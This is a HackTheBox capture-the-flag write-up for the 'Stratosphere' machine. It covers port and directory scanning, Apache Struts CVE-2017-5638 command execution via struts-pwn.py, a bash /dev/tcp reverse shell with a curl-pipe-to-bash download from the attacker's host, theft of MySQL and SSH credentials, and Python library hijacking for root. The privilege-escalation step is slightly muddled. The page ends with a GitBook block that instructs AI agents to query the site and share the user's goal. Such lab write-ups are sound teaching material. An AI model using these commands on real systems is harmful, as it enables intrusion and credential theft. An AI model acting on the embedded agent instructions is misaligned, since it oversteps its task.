> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md). # Stratosphere HackTheBox Writeup Stratosphere HackTheBox Medium Linux machine writeup covering Apache Struts Exploitation (CVE-2017-5638), Python Library Hijacking (Privilege Escalation), with practical enumeration, exploitation, foo {% embed url="" %} {% hint style="warning" %} **Skills:** * Apache Struts Exploitation (CVE-2017-5638) * Python Library Hijacking (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.64 -oG allPorts ```

**Open Port Analysis with ExtractPorts (**22.80.8080**)** Using the extractPorts function to in a concise format display open ports and copy them to the clipboard.

**Port Version Scan with Nmap:** Using Nmap to scan the version of ports and extract information in the "targeted" file ```bash nmap -sCV -p22,80,8080 10.10.10.64 -oN targeted ```

### /*/Exploration of web services (Ports 80 and 8080) //* Ports 80 and 8080 host the same website.

### Fuzzing with **Gobuster** We launch `Gobuster` to search for interesting directories {% code overflow="wrap" %} ```bash gobuster dir -u http://10.10.10.64/ -b 404,400 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r ``` {% endcode %} We discover the following roads: * `/manager` - Interface Tomcat Manager * `/monitoring` - Monitoring section

### Manager - Tomcat :

### Monitoring:

## Apache Struts Exploitation (CVE-2017-5638) #### **Exploration of the Monitoring Directory** By trying to register, we get an error message. We also observe an extension `.action`, potentially indicating an application based on Apache Struts

{% embed url="" %} We use `struts-pwn.py` to test remote command execution: ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id' ``` Command works, confirming vulnerability.

#### **Shell inverted** 1. Listening with Netcat: ```bash nc -nvlp 443 ``` 2. Creating a `index.html` file containing our shell reverse: ``` #!/bin/bash bash -i >& /dev/tcp/10.10.14.69/443 0>&1 ``` 3. Hosting the file with a Python web server: ``` python3 -m http.server 8080 ``` 4. Run the shell reverse via exploit: {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash' ``` {% endcode %} Unfortunately, this approach fails. ### **Sensitive Information Extraction** We list the files on the server:

We discover a `db_connect` file. By posting it, we get credentials: {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l' ``` {% endcode %}

The information recovered from mysql credentials: {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect' ``` {% endcode %} * user: ssn/\_admin / admin * pass=AWs64\@on/\*& / admin

### Extraction info - mysqlshow #### **Enumeration of databases** We use `mysqlshow` to list the databases accessible with the user `admin` by exploiting a Struts vulnerability via `struts-pwn.py`: {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin" ``` {% endcode %}

This allows us to identify the database **users**. #### **Summary of tables** Then we list the tables from the base **users**: {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users ``` {% endcode %}

#### **Enumeration of columns and extraction of credentials** We now list the columns of the table **accounts** and try to extract its contents {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users accounts" ``` {% endcode %}

We obtain the following information: * **Username**: `richard` * **Password**: `9tc*rhKuG5TyXvUJOrE^5CK7k` {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c 'mysql -u admin -padmin -e "Select * from accounts" users' ``` {% endcode %}

We use the information found to connect to SSH on the target machine: ```bash ssh richard@10.10.10.64 ```

### Flag user.txt :)

## Privilege Escalation ### Python Library Hijacking Privilege Escalation First, you run the following command to list the `sudo` rights:

We note that we have permission to run a Python script as `root`: ```bash (ALL) NOPASSWD: /usr/bin/python3.7 /home/richard/test.py ```

By analyzing the `/home/richard/test.py` script, one observes that it imports a module without specifying its absolute path, for example: ``` import os os.system("bash") ``` Then we run the script as `root`: ```bash sudo /usr/bin/python3.7 /home/richard/test.py ``` * Once the script is launched, our malicious version of `hashlib.py` is loaded, running a shell with `root` privileges.

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.